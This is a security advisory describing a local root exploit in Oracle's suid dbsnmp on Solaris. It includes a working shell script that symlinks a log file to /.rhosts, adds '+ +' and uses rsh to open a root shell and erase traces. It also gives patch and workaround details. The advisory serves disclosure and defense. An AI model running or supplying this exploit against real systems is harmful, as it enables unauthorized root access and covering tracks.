COMMAND
Oracle
SYSTEMS AFFECTED
Oracle 7.3.4, 8.0.5, 8.1.5 (UNIX)
PROBLEM
Brock Tellier found following. Testing was done with Oracle 8.1.5
on Solaris 2.6 SPARC edition. This shouldn't make any difference.
When run without ORACLE_HOME being set, dbsnmp (suid root/sgid
dba by default) will dump two log files out into pwd, dbsnmpc and
dbsnmpt. If these files do not exist, dbsnmpd will attempt to
create them mode 666 and dump around 400 bytes of uncontrolable
output into them. If the files do exist, dbsnmp will append
these 400 bytes but not change the permissions. Thus if root
does not have an .rhosts file, we can obtain root privs by
creating a symlink from /tmp/dbsnmpc to /.rhosts. One thing to
note about the exploit is that on my particular implementation, a
normal user does not have read access above /product/ in the
Oracle path (something like
/u01/app/oracle/product/8.1.5/bin/dbsnmp). This won't prevent
you from running the exploit since the execute bit is set for
world on all of Oracle's directories, but you may have to guess
about the location of dbsnmp. This can usually done by examining
the process list for Oracle entries.
Exploit:
oracle8% uname -a; id
SunOS oracle8 5.6 Generic_105181-05 sun4u sparc
SUNW,Ultra-5_10
uid=102(btellier) gid=10(staff)
oracle8% /tmp/oracle.sh
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
#
--- oracle.sh ---
#!/bin/sh
# Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
# You'll probably have to change your path to dbsnmp
# Exploit will only work if /.rhosts does NOT exist
#
# Brock Tellier btellier@usa.net
cd /tmp
unset ORACLE_HOME
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp
echo "+ +" > /.rhosts
rsh -l root localhost 'sh -i'
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts
------
This has been confirmed for Oracle 7.3.4. and 8.0.5 on Solaris 2.6
SPARC too. The vulnerability discovered by Brook Tellier is
actually the same as
http://oliver.efri.hr/~crv/security/bugs/Others/oracle6.html
The basic vulnerability is that the suid program dbsnmp trust the
environment variable ORACLE_HOME. Gilles describes a way to
exploit this by making the vulnerable program execute his own
version of the nmiconf.tcl file. Brook describes a way to
exploit the problem by making the vulnerable program create files
in the system via symlinks.
According to Jared Still there is a much easier way to exploit
dbsnmp than this. Simply edit the file
$ORACLE_HOME/network/agent/config/nmiconf.tcl, which is executed
when dbsnmp starts up.
SOLUTION
Oracle has published fixed for the original problem. They can be
found at:
http://technet.oracle.com/misc/agent/section.htm
They also have a FAQ on the issue at:
http://technet.oracle.com/misc/agent/faq.htm
The Oracle patch changed dbsnmp so that other had no permissions.
If you set your group to Oracle and ran it without ORACLE_HOME
set, it will create the log files in the current dir (/tmp), but
it won't follow the symlink to /.rhosts and create that.
However, Intelligent Agent 8.1.5 (the version Brock reported on)
does not have a patch available for it. This is pretty strange
considering that there's a patch for 8.0.5 and that other 8.0.6
and 8.1.x releases don't have the vulnerability. According to
http://technet.oracle.com/misc/agent/faq.htm
the procedure for dealing with 8.1.5 is to 1) install Intellegent
Agent 8.0.5, 2) apply the 8.0.5 patch, and 3) shutdown 8.1.5 and
start 8.0.5 instead.
SUPPORTED CUSTOMERS:
The alert and 5 patches are posted on metalink:
- URL: http://metalink.oracle.com/
UNSUPPORTED CUSTOMERS:
The alert and 5 patches are posted on OTN:
- URL: http://technet.oracle.com/
NOTE!!!: Brock Tellier added following. After talking to the
people in Oracle's security group, one should realized that it is
impossible to get an answer regarding what programs in particular
are still setuid-anything/setgid-anything in the latest versions
of Oracle with all the supported patches installed. When Brock
took a look at the Oracle-provided remove-suid-bits-script, he
noticed:
EXECS_NOT_TO_UNSET="oracle dbsnmp"
Which makes it so that his exploit (for dbsnmp) and all others
involving dbsnmp will still work. What do the newer patches do
to prevent the problems of old? From what one could read on the
Oracle support page, the "oracle" program MUST be setuid-oracle
if it is in a multi-user environment, and doesn't that have just
as many file-access problems as dbsnmp?
Martin Wunderli added that if you connect through sqlnet (that
is: a listener running as oracle which starts the oracle binary),
no sgid/suid needs to be set. But if you then try to connect
directly by issueing sqlplus username/password, it will fail with
'Oracle not available'. The latter is mostly not really a problem.